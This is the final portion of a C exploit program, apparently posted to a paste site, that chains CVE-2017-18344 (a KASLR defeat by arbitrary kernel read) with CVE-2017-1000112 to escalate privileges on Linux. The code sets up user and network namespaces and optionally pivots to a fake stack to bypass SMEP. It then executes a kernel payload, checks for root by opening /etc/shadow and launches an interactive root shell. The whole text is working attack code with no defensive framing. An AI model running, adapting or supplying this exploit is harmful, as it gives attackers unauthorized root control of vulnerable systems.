  870. printf("[-] SMAP detected, no bypass available\n");
  871. exit(EXIT_FAILURE);
  872. }
  873. #if !ENABLE_SMEP_BYPASS
  874. if (rv >= 1) {
  875. printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
  876. exit(EXIT_FAILURE);
  877. }
  878. #endif
  879. }
  880.  
  881. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
  882.  
  883. static bool write_file(const char* file, const char* what, ...) {
  884. char buf[1024];
  885. va_list args;
  886. va_start(args, what);
  887. vsnprintf(buf, sizeof(buf), what, args);
  888. va_end(args);
  889. buf[sizeof(buf) - 1] = 0;
  890. int len = strlen(buf);
  891.  
  892. int fd = open(file, O_WRONLY | O_CLOEXEC);
  893. if (fd == -1)
  894. return false;
  895. if (write(fd, buf, len) != len) {
  896. close(fd);
  897. return false;
  898. }
  899. close(fd);
  900. return true;
  901. }
  902.  
  903. void setup_sandbox() {
  904. int real_uid = getuid();
  905. int real_gid = getgid();
  906.  
  907. if (unshare(CLONE_NEWUSER) != 0) {
  908. printf("[!] unprivileged user namespaces are not available\n");
  909. perror("[-] unshare(CLONE_NEWUSER)");
  910. exit(EXIT_FAILURE);
  911. }
  912. if (unshare(CLONE_NEWNET) != 0) {
  913. perror("[-] unshare(CLONE_NEWNET)");
  914. exit(EXIT_FAILURE);
  915. }
  916.  
  917. if (!write_file("/proc/self/setgroups", "deny")) {
  918. perror("[-] write_file(/proc/self/set_groups)");
  919. exit(EXIT_FAILURE);
  920. }
  921. if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
  922. perror("[-] write_file(/proc/self/uid_map)");
  923. exit(EXIT_FAILURE);
  924. }
  925. if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  926. perror("[-] write_file(/proc/self/gid_map)");
  927. exit(EXIT_FAILURE);
  928. }
  929.  
  930. cpu_set_t my_set;
  931. CPU_ZERO(&my_set);
  932. CPU_SET(0, &my_set);
  933. if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  934. perror("[-] sched_setaffinity()");
  935. exit(EXIT_FAILURE);
  936. }
  937.  
  938. if (system("/sbin/ifconfig lo mtu 1500") != 0) {
  939. perror("[-] system(/sbin/ifconfig lo mtu 1500)");
  940. exit(EXIT_FAILURE);
  941. }
  942. if (system("/sbin/ifconfig lo up") != 0) {
  943. perror("[-] system(/sbin/ifconfig lo up)");
  944. exit(EXIT_FAILURE);
  945. }
  946. }
  947.  
  948. void exec_shell() {
  949. char* shell = "/bin/bash";
  950. char* args[] = {shell, "-i", NULL};
  951. execve(shell, args, NULL);
  952. }
  953.  
  954. bool is_root() {
  955. // We can't simple check uid, since we're running inside a namespace
  956. // with uid set to 0. Try opening /etc/shadow instead.
  957. int fd = open("/etc/shadow", O_RDONLY);
  958. if (fd == -1)
  959. return false;
  960. close(fd);
  961. return true;
  962. }
  963.  
  964. void check_root() {
  965. printf("[6] checking if we got root\n");
  966. if (!is_root()) {
  967. printf("[-] something went wrong =(\n");
  968. return;
  969. }
  970. printf("[+] got r00t ^_^\n");
  971. exec_shell();
  972. }
  973.  
  974. int main(int argc, char** argv) {
  975. unsigned long int divide_error_addr = 0;
  976. printf("[^] starting\n");
  977. printf("[=] running KASLR defeat exploit (CVE-2017-18344)\n");
  978. printf("[0] enumerating divide_error() location (CVE-2017-18344)\n");
  979. arbitrary_read_init();
  980. divide_error_addr = read_idt_gate(0);
  981. printf("[+] divide_error is at: %lx\n", divide_error_addr);
  982.  
  983. printf("[1] checking distro and kernel versions\n");
  984. detect_versions();
  985. printf("[+] done, versions looks good\n");
  986. KERNEL_BASE = divide_error_addr - kernels[kernel].divide_error;
  987.  
  988. printf("[2] checking SMEP and SMAP\n");
  989. check_smep_smap();
  990. printf("[+] done, looks good\n");
  991.  
  992. printf("[=] running privilege escalation exploit (CVE-2017-1000112)\n");
  993. printf("[3] setting up namespace sandbox\n");
  994. setup_sandbox();
  995. printf("[+] done, namespace sandbox set up\n");
  996.  
  997. printf("[~] commit_creds: %lx\n", COMMIT_CREDS);
  998. printf("[~] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
  999.  
  1000. unsigned long payload = (unsigned long)&get_root;
  1001.  
  1002. #if ENABLE_SMEP_BYPASS
  1003. printf("[4] SMEP bypass enabled, mmapping fake stack\n");
  1004. mmap_stack();
  1005. payload = XCHG_EAX_ESP_RET;
  1006. printf("[+] done, fake stack mmapped\n");
  1007. #endif
  1008.  
  1009. printf("[5] executing payload %lx\n", payload);
  1010. oob_execute(payload);
  1011. printf("[+] done, should be root now\n");
  1012.  
  1013. check_root();
  1014.  
  1015. return 0;
  1016. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement